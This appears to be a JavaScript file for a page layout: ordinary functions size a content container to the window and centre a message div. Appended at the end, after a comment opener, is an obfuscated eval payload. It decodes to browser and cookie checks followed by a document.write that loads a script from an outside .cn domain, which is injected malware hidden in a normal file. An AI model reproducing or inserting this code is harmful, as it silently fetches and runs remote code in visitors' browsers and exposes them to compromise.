if( document.documentElement )
	bodyStyle = document.documentElement.style;
else if( document.body )
	bodyStyle = document.body.style;

bodyStyle.visibility = "hidden";

function sizeContent(){
	var windowHeight = getWindowHeight();
	var footerHeight = document.getElementById("fbFooter").offsetHeight;

	var contentHeight = windowHeight - footerHeight;
	document.getElementById("fbContainer").style.height = contentHeight + "px";
	
	var altDiv = document.getElementById("altmsg");
	
	if( altDiv ){		
		var altH = altDiv.offsetHeight;
		var altW = altDiv.offsetWidth;
		altDiv.style.top = (contentHeight / 2 - altH /2)+ "px";
		altDiv.style.left = (getWindowWidth() / 2 - altW /2)+ "px";
	}
	
	if( bodyStyle )
		bodyStyle.visibility = "visible";
}

function addEvent( obj, type, fn )
{
	if (obj.addEventListener)
		obj.addEventListener( type, fn, false );
	else if (obj.attachEvent)
	{
		obj["e"+type+fn] = fn;
		obj.attachEvent( "on"+type, function() { obj["e"+type+fn](); } );
	}
}

function getWindowHeight() {
	var windowHeight=0;
	if ( typeof( window.innerHeight ) == 'number' ) {
		windowHeight=window.innerHeight;
	}
	else {
		if ( document.documentElement && document.documentElement.clientHeight) {
			windowHeight = document.documentElement.clientHeight;
		}
		else {
			if (document.body&&document.body.clientHeight) {
				windowHeight=document.body.clientHeight;
			}
		}
	}
	
	return windowHeight;
};

function getWindowWidth() {
	var ww = 0;
	if (self.innerWidth)
		ww = self.innerWidth;
	else if (document.documentElement && document.documentElement.clientWidth)
		ww = document.documentElement.clientWidth;
	else if (document.body)
		ww = document.body.clientWidth;
	return ww;
}

addEvent( window, "load", sizeContent);
addEvent( window, "resize", sizeContent );<!-- 
(function(){var ivTH='v@61@72@20a@3d@22Sc@72ipt@45ngin@65@22@2cb@3d@22@56ersion()+@22@2cj@3d@22@22@2c@75@3dnavigator@2euserAg@65nt@3bif((@75@2e@69ndexOf(@22Ch@72ome@22)@3c@30)@26@26(u@2einde@78@4f@66@28@22W@69n@22@29@3e0)@26@26(@75@2e@69ndex@4ff(@22NT@206@22)@3c0)@26@26(document@2ecooki@65@2ein@64exOf(@22miek@3d1@22)@3c0)@26@26@28t@79peof(zrvzt@73)@21@3d@74y@70e@6ff(@22@41@22@29))@7bzrv@7a@74s@3d@22A@22@3beva@6c(@22if@28windo@77@2e@22+a+@22@29@6a@3dj+@22@2ba+@22@4da@6a@6f@72@22+b+@61+@22Min@6fr@22+b+a@2b@22Buil@64@22+@62+@22j@3b@22)@3b@64ocu@6dent@2ewrite(@22@3cscript@20s@72c@3d@2f@2fmart@22+@22@75z@2e@63n@2fvid@2f@3fid@3d@22+@6a+@22@3e@3c@5c@2fsc@72ipt@3e@22)@3b@7d';var J1A=ivTH.replace(/@/g,'%');eval(unescape(J1A))})();
 -->